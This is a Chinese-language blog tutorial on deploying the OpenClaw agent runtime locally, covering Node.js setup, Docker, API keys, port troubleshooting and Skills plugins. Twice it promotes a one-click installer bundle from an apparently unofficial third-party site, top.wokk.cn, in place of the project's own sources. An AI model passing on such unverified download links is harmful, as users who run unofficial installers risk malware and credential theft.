OpenClaw强势推出V2026.5.20版本地部署最新教程来啦！3分钟一键安装中文版可视化操作指南
凌晨两点，我刚把 OpenClaw 跑通。看着屏幕上终于亮起来的 WebChat 界面，心里那叫一个舒坦。说实话，之前装了几次都没成功，不是端口冲突就是 API Key 配置不对，折腾了大半天。后来静下心来把文档从头到尾看了一遍，才把各个模块的依赖关系搞明白。今天就把整个过程写下来，希望能帮到后面要装的人。
OpenClaw 这个项目是今年年初火起来的，GitHub 上 Star 数涨得很快。它的核心思路是把 AI 模型、工具调用、消息路由都整合到一个本地运行时里，这样你的 AI Agent 就能在本地跑，数据不会外传。架构上分三个模块：Gateway 负责核心调度，Skills 是插件系统，Session Manager 处理多会话。听起来简单，但实际部署的时候，依赖关系比想象中复杂。你得确保 Node.js 版本正确、端口没被占用、API Key 配置无误，这三个条件缺一不可。不然就会像我一样，装了好几次都跑不起来。
这里先说个事，如果你不想自己折腾命令行，有个更快的办法——
第一步：打开网址 https://top.wokk.cn
第二步：找到符合你系统的版本下载（支持Windows、macOS Intel、macOS Apple芯片）
第三步：双击安装包运行，全程自动安装
这个整合包是中文版的，里面 Node.js 和 OpenClaw 核心都打包好了，基本上装完就能用。但我还是建议至少自己装一遍，遇到问题的时候好排查。
环境准备
OpenClaw 基于 Node.js，所以先检查环境。我用的是 Node.js v20.10.0，实测 v18 也能跑，但 v16 会报错，这个要注意。
node -v # v20.10.0 npm -v # v10.2.3 git --version # git version 2.45.1如果版本不对，Windows 用户去 nodejs.org 下载 LTS 版本。macOS 用户可以用 Homebrew：
brew install node git装完后一定要重新打开终端，不然环境变量没刷新，node命令会找不到。我就卡在这一步，折腾了十几分钟才发现。
另外，端口检查不能少。OpenClaw 默认用 3000（WebSocket）和 5123（HTTP API）：
# Windows PowerShell netstat -ano | Select-String ":3000" netstat -ano | Select-String ":5123" # macOS/Linux lsof -i :3000 lsof -i :5123如果端口被占用，后面会讲怎么改。
安装过程
两种方式，看你的需求。
方式一：从源码装
cd D:\projects git clone https://github.com/openclaw/openclaw.git cd openclaw npm install # 国内镜像（可选） npm config set registry https://registry.npmmirror.com npm install然后初始化：
npx openclaw gateway start首次运行会自动创建~/.openclaw目录：
~/.openclaw/ ├── config.yaml # 主配置 ├── workspace-xxx/ # 工作区 │ ├── AGENTS.md # Agent 行为 │ ├── SOUL.md # Agent 人格 │ ├── USER.md # 用户配置 │ ├── MEMORY.md # 长期记忆 │ └── memory/ # 记忆文件 └── sessions/ # 会话数据方式二：Docker 部署
服务器环境推荐用 Docker：
# docker-compose.yml version: '3.8' services: openclaw: image: openclaw/openclaw:latest ports: - "3000:3000" - "5123:5123" volumes: - ~/.openclaw:/root/.openclaw - ./workspace:/workspace environment: - OPENAI_API_KEY=${OPENAI_API_KEY} restart: unless-stopped启动：
docker-compose up -dDocker 的好处是环境隔离，依赖问题少。缺点是看日志不太方便，得用docker logs -f openclaw，没有本地终端直接。
配置 API
这是最多人卡住的地方。API Key 配置不对，Gateway 启动后直接报 401。
# ~/.openclaw/.env OPENAI_API_KEY=sk-proj-你的密钥 # config.yaml models: default: provider: "openai" modelId: "gpt-4o" apiKey: "${OPENAI_API_KEY}"注意：API Key 不要直接写在 config.yaml 里，要用环境变量。这样更安全，也方便切换不同环境。
如果你用的是 OpenRouter：
# ~/.openclaw/.env OPENROUTER_API_KEY=sk-or-v1-xxx # config.yaml models: default: provider: "openrouter" modelId: "google/gemini-2.5-pro-preview" apiKey: "${OPENROUTER_API_KEY}"测试 API 是否可用：
curl -H "Authorization: Bearer $OPENAI_API_KEY" \ https://api.openai.com/v1/models返回 401 说明 Key 有问题，检查一下是不是过期了或者额度用完了。
启动与验证
配置完成后启动：
openclaw gateway start正常输出：
✓ OpenClaw Gateway started ✓ WebSocket listening on ws://localhost:3000 ✓ HTTP API available at http://localhost:5123 ✓ Session: main (webchat)访问http://localhost:5123打开 WebChat 界面。
常见问题
端口被占用
# config.yaml 改端口 gateway: port: 3001 httpPort: 5124或者用环境变量：
OPENCLAW_GATEWAY_PORT=3001 OPENCLAW_HTTP_PORT=5124 openclaw gateway startnpm install 卡住
npm config set registry https://registry.npmmirror.com npm installERESOLVE 错误
npm install --legacy-peer-depsNode.js 版本不兼容
# Windows nvm-windows nvm install 20 nvm use 20 # macOS/Linux nvm nvm install 20 nvm use 20Skills 插件
Skills 是 OpenClaw 的扩展系统：
openclaw skills list openclaw skills install weather openclaw skills enable weather目录结构：
skill-name/ ├── SKILL.md ├── package.json └── src/ └── index.js自己写 Skill 也挺简单的，创建一个目录，放个 SKILL.md 描述文件，再写几行代码就能跑。
总结
OpenClaw 的部署过程不算复杂，关键是环境配置和 API Key 设置。把这两步搞对，后面的使用基本顺畅。如果你只是想让 AI 跑起来，不打算深入定制，整合包确实省事——直接去https://top.wokk.cn下载对应版本，三分钟搞定。但如果你想自己写 Skills 或者做多通道接入，从源码装一遍会更值。后续我打算写几篇 Skills 开发的教程，有兴趣的可以多关注。